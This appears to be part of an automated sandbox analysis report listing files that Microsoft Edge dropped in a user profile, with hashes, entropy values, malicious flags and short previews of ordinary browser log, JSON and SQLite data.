Preview:	2024/11/08-09:20:59.152 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/08-09:20:59.157 1d5c Recovering log #3.2024/11/08-09:20:59.164 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.173408878392392
Encrypted:	false
SSDEEP:	6:H0VSRBZ9+q2PCHhJ23oH+Tcwt8NIFUt8Y0VSRAFAWZmw+Y0VSRAF3VkwOCHhJ23+:HBZ9+vBYebpFUt8meAW/+me3V56YebqJ
MD5:	BBD9CB7897A924F9C184EBAED64AFECF
SHA1:	07BCD8EA213B18EF7C3129D817478510BF949FF4
SHA-256:	D8CB052DDCFDAAAF21B87C83148347DB9442DB7D87BBB6786D73881DEAC95B51
SHA-512:	18EA3AF08AB8423E82F02B093686972897F2DF7C6E9500B53B6844CE408202CA553D2C4AAF055D12EA0757D4044F8CFF0B724A95C9556FE518929D8F65225F85
Malicious:	false
Preview:	2024/11/08-09:21:01.448 dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/08-09:21:01.450 dcc Recovering log #3.2024/11/08-09:21:01.450 dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.173408878392392
Encrypted:	false
SSDEEP:	6:H0VSRBZ9+q2PCHhJ23oH+Tcwt8NIFUt8Y0VSRAFAWZmw+Y0VSRAF3VkwOCHhJ23+:HBZ9+vBYebpFUt8meAW/+me3V56YebqJ
MD5:	BBD9CB7897A924F9C184EBAED64AFECF
SHA1:	07BCD8EA213B18EF7C3129D817478510BF949FF4
SHA-256:	D8CB052DDCFDAAAF21B87C83148347DB9442DB7D87BBB6786D73881DEAC95B51
SHA-512:	18EA3AF08AB8423E82F02B093686972897F2DF7C6E9500B53B6844CE408202CA553D2C4AAF055D12EA0757D4044F8CFF0B724A95C9556FE518929D8F65225F85
Malicious:	false
Preview:	2024/11/08-09:21:01.448 dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/08-09:21:01.450 dcc Recovering log #3.2024/11/08-09:21:01.450 dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:cLvtFlljq7A/mhWJFuQ3yy7IOWUUdV4dweytllrE9SFcTp4AGbNCV9RUIhdn:cLk75fOqdV4d0Xi99pEYxn
MD5:	86716429899E395C771365C0B6624ECB
SHA1:	C89D317AE902CFED6002B723E18ED3B73C1916BC
SHA-256:	216766C89DA93E769E3B7A8B9FE6178A732C13611B098A81F283D7A2C83E6315
SHA-512:	DF9DF24E45C0E19C874EBA549FDB163AD7E00DC982C235884EEB37CDE226AF98C79FF67AAB587EAF5B3DA1294F1E70328B11C005520DF70FEA10EFFDC5E24911
Malicious:	false
Preview:	............w......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477468414571055
Encrypted:	false
SSDEEP:	384:aj9P0gP/Kbtfjly773pLDc7gam6IYhfQkQerIRKToaAu:adLP/yly7OaoJe2IRKcC
MD5:	5716BCD0766C9E2D83CF0638919FEDE6
SHA1:	5869BDEDCCDB52F798E1E9E20986E3783BBB772E
SHA-256:	A1F21C6DBBB91EF7BC887EE6CFDE14D27BA46D899EBA02827E585A1DC8E2DAB9
SHA-512:	77F865680F7DAD16E9B8C6320059FC9895840661BFCBF4C44EF63CAEDBC32C329901988179E08DF4EEACCFC333BE3394142944E3C20F1493726EA375B7C5D87F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.300640218632709
Encrypted:	false
SSDEEP:	12:9zvBYeb8rcHEZrELFUt86B/+6b56Yeb8rcHEZrEZSJ:9BYeb8nZrExg8M6Yeb8nZrEZe
MD5:	0AEC294BEB9C50821579D2DF6C5E083B
SHA1:	5AFBFA92D46F603D8B53AC61CD9AAC64B63EC18A
SHA-256:	AE262F520E5676092DC0844641EED105D7CA2AC71B35F73B1A4D6890E87B62D4
SHA-512:	787E921D5859C029C79FB0BF3A631388B1FB2CCB6B34156056767DF693F95D4700D1E26B210F7BBE51B0C89BADA84442D4BE5D3189EE6FD4B7F117CA199E9950
Malicious:	false
Preview:	2024/11/08-09:21:04.474 1f08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/08-09:21:04.475 1f08 Recovering log #3.2024/11/08-09:21:04.475 1f08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.300640218632709
Encrypted:	false
SSDEEP:	12:9zvBYeb8rcHEZrELFUt86B/+6b56Yeb8rcHEZrEZSJ:9BYeb8nZrExg8M6Yeb8nZrEZe
MD5:	0AEC294BEB9C50821579D2DF6C5E083B
SHA1:	5AFBFA92D46F603D8B53AC61CD9AAC64B63EC18A
SHA-256:	AE262F520E5676092DC0844641EED105D7CA2AC71B35F73B1A4D6890E87B62D4
SHA-512:	787E921D5859C029C79FB0BF3A631388B1FB2CCB6B34156056767DF693F95D4700D1E26B210F7BBE51B0C89BADA84442D4BE5D3189EE6FD4B7F117CA199E9950
Malicious:	false
Preview:	2024/11/08-09:21:04.474 1f08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/08-09:21:04.475 1f08 Recovering log #3.2024/11/08-09:21:04.475 1f08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	5.6934917892068615
Encrypted:	false
SSDEEP:	48:2tZyIh5p0XZstV03Sx4tIuj4NHHSc2IY5ny+tWhV:2tU4cW9YIagYd5U
MD5:	C096832C268B17FA8B1A18F8ACA48A55
SHA1:	75DF21045F1CA2D8E599035C6AED2EE465EE9D73
SHA-256:	592845E0245CBA85C92F4AFE53FB75AB60E3FE6BC04C4A225663C6BEBC49A40F
SHA-512:	323312B5FABF8A34FE54481403AE9A3588675E0833A34483B6B3531757B34B3BC89039C398A2521ED2DB46A4095BCB1AB49BCD8EC3399B2A7FDA3F70E0645E67
Malicious:	false
Preview:	...<.................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":753}.!_https://ntp.msn.com..LastKnownPV..1731075672856.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731075674184.._https://ntp.msn.com..MUID!.2DD296EDD8FB644F13F183DCD98E6569.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731075672960,"schedule":[4,-1,-1,9,-1,34,-1],"scheduleFixed":[4,-1,-1,9,-1,34,-1],"simpleSchedule":[11,36,49,18,46,26,37]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731075672808.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241107.296"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1973669248648395
Encrypted:	false
SSDEEP:	6:HRyOMq2PCHhJ23oH+Tcwt8a2jMGIFUt8YR8+XZmw+YRmkwOCHhJ23oH+Tcwt8a23:xyOMvBYeb8EFUt8evX/+em56Yeb8bJ
MD5:	396A27A463E2FE8FEDC7B8758348264E
SHA1:	54E179BC44FDED7F5C26ACAFA46F7916766590E9
SHA-256:	D3F1786E5C239AF6F90C261B72B0FDE921655D00EEC3CD940CCCEA807D25095D
SHA-512:	D48E32A50BB3A59583531AFC1729D6615783E7E964668A81C7A376C8603ECA77F8CF856A94E0EEB6302B44AC8954C6905D5CC5A90A79BE22BA7D624432B1F809
Malicious:	false
Preview:	2024/11/08-09:20:59.577 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/08-09:20:59.579 1ce4 Recovering log #3.2024/11/08-09:20:59.600 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1973669248648395
Encrypted:	false
SSDEEP:	6:HRyOMq2PCHhJ23oH+Tcwt8a2jMGIFUt8YR8+XZmw+YRmkwOCHhJ23oH+Tcwt8a23:xyOMvBYeb8EFUt8evX/+em56Yeb8bJ
MD5:	396A27A463E2FE8FEDC7B8758348264E
SHA1:	54E179BC44FDED7F5C26ACAFA46F7916766590E9
SHA-256:	D3F1786E5C239AF6F90C261B72B0FDE921655D00EEC3CD940CCCEA807D25095D
SHA-512:	D48E32A50BB3A59583531AFC1729D6615783E7E964668A81C7A376C8603ECA77F8CF856A94E0EEB6302B44AC8954C6905D5CC5A90A79BE22BA7D624432B1F809
Malicious:	false
Preview:	2024/11/08-09:20:59.577 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/08-09:20:59.579 1ce4 Recovering log #3.2024/11/08-09:20:59.600 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\121fd29d-f4bc-43e8-9781-2d39401f412e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\17e0a3d6-07cc-45fa-81af-1232f3117488.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\264aa99b-9acd-4df5-9a8d-ff171e53d6ca.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6d5dda96-7010-48f9-9e81-713161f92e4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7740043688139697
Encrypted:	false
SSDEEP:	192:tTUR+PLx0+O61zHEDU/bWKzCXcf0L/ZJVb:VU6x0D6RHMgeXI0LhJVb
MD5:	EFF8FCFE0151DAB92EB17092AE274C36
SHA1:	95C25896C9FE77D0787A390B5CBDE2461080A249
SHA-256:	A92331A9CE98C2E414E788FB38AB06F42320F30A7E34529B309F26C75CD3596B
SHA-512:	03EF082E21C9151AE9896B4F3ACD7456FC672089A0FB78F1C404A3F5A50E33D311A2D927DA06D97FED2F2A98EFBFC5BF76E7B387C853EE07188DE14383A21450
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4847061503550052
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS6mrmdKnoG9WhX3X+cOw1a:OIEumQv8m1ccnvS6Xdyo4WR3nOr
MD5:	1651EB2A95C1B1401E062303E1332174
SHA1:	42859F0F4019B1395273CEA513EDFC60BBB86DB0
SHA-256:	7E3EACE8475DA42B4B19B860CADC4D69DC8CCA258BF520A14D81407066BBBD63
SHA-512:	C403884761BA4CD727B6B2A3A1A8859E239B5F3CF91A8F6288BEDC3E36BC26FBC2D2D7F1E5506A3A09ED72C3ED5E7308A14F7B7181980211DBDA3163D629FD4D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF29b1d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2aef3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF37d9d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b417eca5-fad7-447c-af40-992cbff52a60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ec4c13d1-c73b-4494-b355-9379b5be7c76.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7429706785845666
Encrypted:	false
SSDEEP:	12:TLSnAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isPnSdvd0dn3ldjt9d6XF:TLSOUOq0afDdWec9sJQ3tOXI7J5fc
MD5:	E837EA6D04D8BF6E6EB3DE44A0D55B3B
SHA1:	4B9760FAE3A4790477529EA827DFBAF077B626A6
SHA-256:	9AA122EA750652A4771847ED1329C17F416979053EDA385A99EC10C90AE04EB5
